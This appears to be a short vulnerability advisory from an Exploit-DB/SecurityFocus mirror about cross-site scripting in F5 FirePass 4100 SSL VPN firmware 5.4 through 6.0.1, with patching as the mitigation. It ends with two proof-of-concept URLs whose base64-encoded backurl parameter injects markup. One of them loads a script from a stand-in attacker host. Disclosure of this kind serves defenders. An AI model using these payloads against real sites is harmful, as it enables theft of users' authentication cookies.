Cross-Site Scripting Vulnerability in F5 FirePass 4100 SSL VPN

vendor:

F5 FirePass 4100 SSL VPN

by:

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: F5 FirePass 4100 SSL VPN

Affected Version From: 5.4

Affected Version To: 6.0.1

Patch Exists: YES

Related CWE:

CPE:

Metasploit:

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Cross-Site Scripting Vulnerability in F5 FirePass 4100 SSL VPN

F5 FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

Apply the vendor-supplied patches or updates.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/26412/info

F5 FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

F5 FirePass 4100 SSL VPNs running these firmware versions are vulnerable:

5.4 through 5.5.2
6.0
6.0.1

https://www.example.com/download_plugin.php3?js=&backurl=Ij48c2NyaXB0IHNyYz0iaHR0cDovL3d3dy5ldmlsLmZvby94c3MiPjwvc2NyaXB0PjxhIGhyZWY9Ig==
https://www.example.com/download_plugin.php3?js=&backurl=Ij48dGV4dGFyZWE+SFRNTCBpbmplY3Rpb24gdGVzdDwvdGV4dGFyZWE+PGEgaHJlZj0i